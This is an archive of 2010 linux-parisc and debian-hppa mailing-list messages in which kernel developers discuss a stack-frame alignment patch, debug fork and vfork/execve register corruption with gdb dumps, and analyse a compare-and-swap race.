	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nwzzb-0001Bb-Ni
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 17:38:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756965Ab0CaPiG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 11:38:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2634 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756497Ab0CaPiG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 11:38:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3D115516B; Wed, 31 Mar 2010 11:38:04 -0400 (EDT)
In-Reply-To: <l2z119aab441003310758w994a04cv70a09146e2aa634f@mail.gmail.com> from "Carlos O'Donell" at Mar 31, 2010 10:58:38 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2740
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2740>

> I've added CFI directives to all of the syscall stubs in glibc, do you
> see anything wrong with that?

No, it should help debugging and unwind.  There were a few binutils
issues with CFI support originally, but these should be fixed.  GCC
has been generating them since 4.4.0. if I remember correctly

> I have not yet added CFI directives for the bespoke *.S implementations.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: Use of align_frame provides stack frame.
Date: Wed, 31 Mar 2010 16:42:33 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1270068163 25845 80.91.229.12 (31 Mar 2010 20:42:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 20:42:43 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 22:42:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nx4kH-0004l4-1q
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 22:42:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758146Ab0CaUmg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 16:42:36 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:42870 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757834Ab0CaUmf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 16:42:35 -0400
Original-Received: by wwb17 with SMTP id 17so369026wwb.19
        for <linux-parisc@vger.kernel.org>; Wed, 31 Mar 2010 13:42:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=SkPmmVBtnsD8GvQPKvfndZqLCnJD6MZbwnCd184oztw=;
        b=Mo4YOALOzWQjXpFPQvdaTpKd6ecFN2jY4U0HIch1KQNqIt33WS9xLpA5mx/yvL2eZZ
         dHMRjwb0JxiRwH2FE5OPEtEmdFDHKDCC8nVqsZQ+XqPM1W1h7/Dn+szhad741hkGKW6E
         pMkGpIUXHRvkv0+AcYfI9TZgfOaSJd58OLCv0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=ar+2QZ2KTZVcsk4NV+zfS4rca/GYfYVzqvcsCH9yi8kRFqYPp/MTkZOWx5HYVJ/Veb
         UXmxW4JM1YDIEq95vwuasZE7VvIm8ax2JGCbOL16N2cQLdj3mex+cY0R26FoN8CKpSbq
         S8rEsPY/GQLw0rICC3zq5FI2z3k/z8S2D1e14=
Original-Received: by 10.216.35.78 with HTTP; Wed, 31 Mar 2010 13:42:33 -0700 (PDT)
X-Google-Sender-Auth: dd8cd250017db944
Original-Received: by 10.216.163.207 with SMTP id a57mr1227495wel.220.1270068154018; 
	Wed, 31 Mar 2010 13:42:34 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2741>

Any assembly constant generated with the use of
align_frame includes size for a full stack frame.

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..0a719f2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -45,8 +45,12 @@
 #else
 #define FRAME_SIZE	64
 #endif
+#define FRAME_ALIGN	64

-#define align(x,y) (((x)+FRAME_SIZE+(y)-1) - (((x)+(y)-1)%(y)))
+/* Add FRAME_SIZE to the size x and align it to y. All definitions
+ * that use align_frame will include space for a frame.
+ */
+#define align_frame(x,y) (((x)+FRAME_SIZE+(y)-1) - (((x)+(y)-1)%(y)))

 int main(void)
 {
@@ -146,7 +150,8 @@ int main(void)
 	DEFINE(TASK_PT_IOR, offsetof(struct task_struct, thread.regs.ior));
 	BLANK();
 	DEFINE(TASK_SZ, sizeof(struct task_struct));
-	DEFINE(TASK_SZ_ALGN, align(sizeof(struct task_struct), 64));
+	/* TASK_SZ_ALGN includes space for a stack frame. */
+	DEFINE(TASK_SZ_ALGN, align_frame(sizeof(struct task_struct), FRAME_ALIGN));
 	BLANK();
 	DEFINE(PT_PSW, offsetof(struct pt_regs, gr[ 0]));
 	DEFINE(PT_GR1, offsetof(struct pt_regs, gr[ 1]));
@@ -233,7 +238,8 @@ int main(void)
 	DEFINE(PT_ISR, offsetof(struct pt_regs, isr));
 	DEFINE(PT_IOR, offsetof(struct pt_regs, ior));
 	DEFINE(PT_SIZE, sizeof(struct pt_regs));
-	DEFINE(PT_SZ_ALGN, align(sizeof(struct pt_regs), 64));
+	/* PT_SZ_ALGN includes space for a stack frame. */
+	DEFINE(PT_SZ_ALGN, align_frame(sizeof(struct pt_regs), FRAME_ALIGN));
 	BLANK();
 	DEFINE(TI_TASK, offsetof(struct thread_info, task));
 	DEFINE(TI_EXEC_DOMAIN, offsetof(struct thread_info, exec_domain));
@@ -242,7 +248,8 @@ int main(void)
 	DEFINE(TI_SEGMENT, offsetof(struct thread_info, addr_limit));
 	DEFINE(TI_PRE_COUNT, offsetof(struct thread_info, preempt_count));
 	DEFINE(THREAD_SZ, sizeof(struct thread_info));
-	DEFINE(THREAD_SZ_ALGN, align(sizeof(struct thread_info), 64));
+	/* THREAD_SZ_ALGN includes space for a stack frame. */
+	DEFINE(THREAD_SZ_ALGN, align_frame(sizeof(struct thread_info), FRAME_ALIGN));
 	BLANK();
 	DEFINE(ICACHE_BASE, offsetof(struct pdc_cache_info, ic_base));
 	DEFINE(ICACHE_STRIDE, offsetof(struct pdc_cache_info, ic_stride));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: Use of align_frame provides stack frame.
Date: Wed, 31 Mar 2010 17:09:00 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20100331210901.A34455183@hiauly1.hia.nrc.ca>
References: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270069758 31668 80.91.229.12 (31 Mar 2010 21:09:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 21:09:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 23:09:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nx59z-0003Ss-VI
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 23:09:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752990Ab0CaVJI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 17:09:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2645 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758208Ab0CaVJD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 17:09:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A34455183; Wed, 31 Mar 2010 17:09:01 -0400 (EDT)
In-Reply-To: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com> from "Carlos O'Donell" at Mar 31, 2010 04:42:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2742
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2742>

> Any assembly constant generated with the use of
> align_frame includes size for a full stack frame.

Does this fix fork?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: Use of align_frame provides stack frame.
Date: Wed, 31 Mar 2010 17:46:27 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <v2x119aab441003311446h652aff9az2e568910a1854829@mail.gmail.com>
References: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com>
	 <20100331210901.A34455183@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1270072000 6681 80.91.229.12 (31 Mar 2010 21:46:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 21:46:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 23:46:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nx5k8-00031q-M5
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 23:46:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932330Ab0CaVqc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 17:46:32 -0400
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:60545 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932320Ab0CaVqb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 17:46:31 -0400
Original-Received: by bwz1 with SMTP id 1so427797bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 31 Mar 2010 14:46:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=7h2kmKpbQMA50xF14x1+Da14RV1GzSjAlrUodg6JrDY=;
        b=D+WgluvbmKwD5aQBjn6uM+UesN4GPdn64UpGrWMqwIUwSFHixWbynOu3h792qBSaK3
         f+NqeGdJfgeXtbWZ3JT7fB8D8QNGnuIo/83slbcVfQ542JdfnsOH6bZ5BEgHiSg3aGBB
         eAcbAjq1GoH7O949IxWy3ztGIrAycHTTGcFNM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=gkyi8lQDvyDVH0LemHM4pYUX22psxhFaRXpKMerbR8WIwXMpd49buhPu0b1JEHyfVT
         XXWcHbmd8qOV9vK09oLHF4IEChgl33X7qEoZ4jmp0XT7iYvD76b+koIVu/mqa/gQoT4O
         JexD0tmKuo2qNcs7TY/6u9LVOnrB/0oRuW4Pc=
Original-Received: by 10.204.98.82 with HTTP; Wed, 31 Mar 2010 14:46:27 -0700 (PDT)
In-Reply-To: <20100331210901.A34455183@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 31e1bb43de103521
Original-Received: by 10.204.131.82 with SMTP id w18mr242899bks.29.1270071988067; Wed, 
	31 Mar 2010 14:46:28 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2743>

On Wed, Mar 31, 2010 at 5:09 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Any assembly constant generated with the use of
>> align_frame includes size for a full stack frame.
>
> Does this fix fork?

Which fork breakage are you talking about? The vfork/execve problem I'm seeing?

The patch is simply additional comments. It fixes my constant
confusion that *_SZ_ALGN constants also includes a size for a frame.

I have several "Clenaup/Add documentation" patches in my tree which I
will push out as I review our *.S files. There were some tricky
assembly instructions that I didn't know what they did, so I added
comments, that sort of stuff e.g. or,=,n

I'm still at a loss to explain how the kernel prevents a process,
which has just called execve, from returning to the callers memory
range.

My suspicion is this:
* Parent calls vfork()
* Child calls execve(), which uses start_thread to setup pt_regs.
* Child returns from execve() via syscall_exit and does *not* restore
space registers from pt_regs.
* Child returns to parent's memory space and starts clobbering things.
* Timer tick goes off and switch_to fixes child's space registers and
PC values and child executes correctly.
* Parent continues executing with some minor corruption.

The window exists between the child's return and the next tick, during
that time the child runs free corrupting the parent.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: Use of align_frame provides stack frame.
Date: Wed, 31 Mar 2010 20:58:21 -0400
Organization: nrc.ca
Lines: 114
Approved: news@gmane.org
Message-ID: <20100401005820.GA27145@hiauly1.hia.nrc.ca>
References: <p2k119aab441003311342q9e17c174u617cb75a1a4b9dc@mail.gmail.com> <20100331210901.A34455183@hiauly1.hia.nrc.ca> <v2x119aab441003311446h652aff9az2e568910a1854829@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270083511 6289 80.91.229.12 (1 Apr 2010 00:58:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 00:58:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 01 02:58:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nx8jo-0006bb-Uc
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Apr 2010 02:58:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757572Ab0DAA6Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 20:58:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2657 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757442Ab0DAA6X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 20:58:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D26FA5057; Wed, 31 Mar 2010 20:58:21 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <v2x119aab441003311446h652aff9az2e568910a1854829@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2744>

On Wed, 31 Mar 2010, Carlos O'Donell wrote:

> On Wed, Mar 31, 2010 at 5:09 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> Any assembly constant generated with the use of
> >> align_frame includes size for a full stack frame.
> >
> > Does this fix fork?
> 
> Which fork breakage are you talking about? The vfork/execve problem I'm seeing?

There seem to be a lot of them...

I have been looking at another one today.  There were three instances
today running the gcc testsuite.  It seems the parent dies exiting from
fork, returning to location 0.

0x405a378c <fork+700>:  copy r9,ret0
0x405a3790 <fork+704>:  ldw -14(r3),rp
0x405a3794 <fork+708>:  ldw 10(r3),r10
0x405a3798 <fork+712>:  ldw 14(r3),r9
0x405a379c <fork+716>:  ldw 18(r3),r8
0x405a37a0 <fork+720>:  ldw 1c(r3),r7
0x405a37a4 <fork+724>:  ldw 20(r3),r6
0x405a37a8 <fork+728>:  ldw 24(r3),r5
0x405a37ac <fork+732>:  ldw 28(r3),r4
0x405a37b0 <fork+736>:  ldo 40(r3),sp
0x405a37b4 <fork+740>:  bv r0(rp)
0x405a37b8 <fork+744>:  ldw,mb -40(sp),(gdb) x/x $sp
0xfe001a40:     0xfe0018cc
(gdb) x/16x $sp
0xfe001a40:     0xfe0018cc      0x000e9408      0xffffffff      0x000e6c54
0xfe001a50:     0x00000000      0x00000000      0x00104d88      0x000c36f4
0xfe001a60:     0x00000001      0x00000000      0xfe00194c      0x000e9560
0xfe001a70:     0x4092c000      0x00000000      0x00000001      0xf4000000
(gdb) x/16x $sp - 0x20
0xfe001a20:     0x000e9410      0x000e9408      0x0004771b      0x0004e727
0xfe001a30:     0x00000000      0x00000000      0x000fed68      0x000fedc8
0xfe001a40:     0xfe0018cc      0x000e9408      0xffffffff      0x000e6c54
0xfe001a50:     0x00000000      0x00000000      0x00104d88      0x000c36f4
(gdb) info reg
flags          0x4ff0f  327439
r1             0x0      0
rp             0x0      0
r3             0xfe0018cc       4261419212
r4             0xfe00194c       4261419340
r5             0x0      0
r6             0x1      1
r7             0xc36f4  800500
r8             0x104d88 1068424
r9             0x0      0
r10            0x0      0
(gdb) p/x $ret0
$3 = 0x2776

Registers ret0 and rp seem corrupt.  Registers r3 through r10 contain
the same values as the stack.  The rp value on the stack is 0x0004e727.

(gdb) disass 0x0004e700 0x0004e734
Dump of assembler code from 0x4e700 to 0x4e734:
0x0004e700 <make_child+128>:    cmpib,>= 0,r26,0x4e714 <make_child+148>
0x0004e704 <make_child+132>:    ldil L%c3000,r7
0x0004e708 <make_child+136>:    b,l 0x62c1c <sync_buffered_stream>,rp
0x0004e70c <make_child+140>:    nop
0x0004e710 <make_child+144>:    ldil L%c3000,r7
0x0004e714 <make_child+148>:    ldi 1,r6
0x0004e718 <make_child+152>:    ldo 6f4(r7),r7
0x0004e71c <make_child+156>:    b,l 0x34d60,rp
0x0004e720 <make_child+160>:    nop
0x0004e724 <make_child+164>:    movb,>= ret0,r3,0x4e930 <make_child+688>
0x0004e728 <make_child+168>:    addil L%6800,dp,r1

I believe from looking at the bash code that the call at <make_child+156>
is to fork().

So, the $64 question is how did ret0 and rp get corrupted?

> 
> The patch is simply additional comments. It fixes my constant
> confusion that *_SZ_ALGN constants also includes a size for a frame.
> 
> I have several "Clenaup/Add documentation" patches in my tree which I
> will push out as I review our *.S files. There were some tricky
> assembly instructions that I didn't know what they did, so I added
> comments, that sort of stuff e.g. or,=,n
> 
> I'm still at a loss to explain how the kernel prevents a process,
> which has just called execve, from returning to the callers memory
> range.
> 
> My suspicion is this:
> * Parent calls vfork()
> * Child calls execve(), which uses start_thread to setup pt_regs.
> * Child returns from execve() via syscall_exit and does *not* restore
> space registers from pt_regs.
> * Child returns to parent's memory space and starts clobbering things.
> * Timer tick goes off and switch_to fixes child's space registers and
> PC values and child executes correctly.
> * Parent continues executing with some minor corruption.
> 
> The window exists between the child's return and the next tick, during
> that time the child runs free corrupting the parent.

I'll think about it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: CAS (lws_compare_and_swap32)
Date: Thu, 01 Apr 2010 10:16:58 +0900
Organization: Free Software Initiative of Japan
Lines: 63
Approved: news@gmane.org
Message-ID: <4BB3F40A.7020401@fsij.org>
References: <4BB0B2C8.8000302@fsij.org>	 <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>	 <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>	 <20100329200705.GE20286@bombadil.infradead.org> <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270085594 10960 80.91.229.12 (1 Apr 2010 01:33:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Apr 2010 01:33:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-hppa@lists.debian.org, 
 linux-parisc <linux-parisc@vger.kernel.org>,
 Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Apr 01 03:33:09 2010
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1Nx9HR-0007qC-A4
	for debian-hppa@m.gmane.org; Thu, 01 Apr 2010 03:33:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id A92F82D0C58; Thu,  1 Apr 2010 01:33:08 +0000 (UTC)
Old-Return-Path: <gniibe@fsij.org>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.9 required=4.0 tests=FOURLA,LDO_WHITELIST
	autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id D341413A5B25
	for <lists-debian-hppa@liszt.debian.org>; Thu,  1 Apr 2010 01:17:27 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id woway2iyzhTL for <lists-debian-hppa@liszt.debian.org>;
	Thu,  1 Apr 2010 01:17:20 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.1
Original-Received: from atom.fsij.org (members.fsij.org [211.14.6.125])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 1741913A4508
	for <debian-hppa@lists.debian.org>; Thu,  1 Apr 2010 01:17:13 +0000 (UTC)
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1Nx95G-00033j-GH; Thu, 01 Apr 2010 10:20:35 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <ysV0iHBiNpM.A.aQF.Uf_sLB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7331
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  1 Apr 2010 01:33:08 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6334 gmane.linux.ports.parisc:2745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2745>

Hi all, thanks for your attention.

Carlos O'Donell wrote:
> On UP you have a problem:
> * Thread A enters LWS CAS (no lock on UP)
> * Thread A writes to CAS address causing COW
> * Thread A sleeps.
> * Thread A completes COW, but finishes time slice before the write is restarted.
> * Thread B enters LWS CAS (no lock on UP)
> * Thread B writes to CAS address, and finishes time slice.
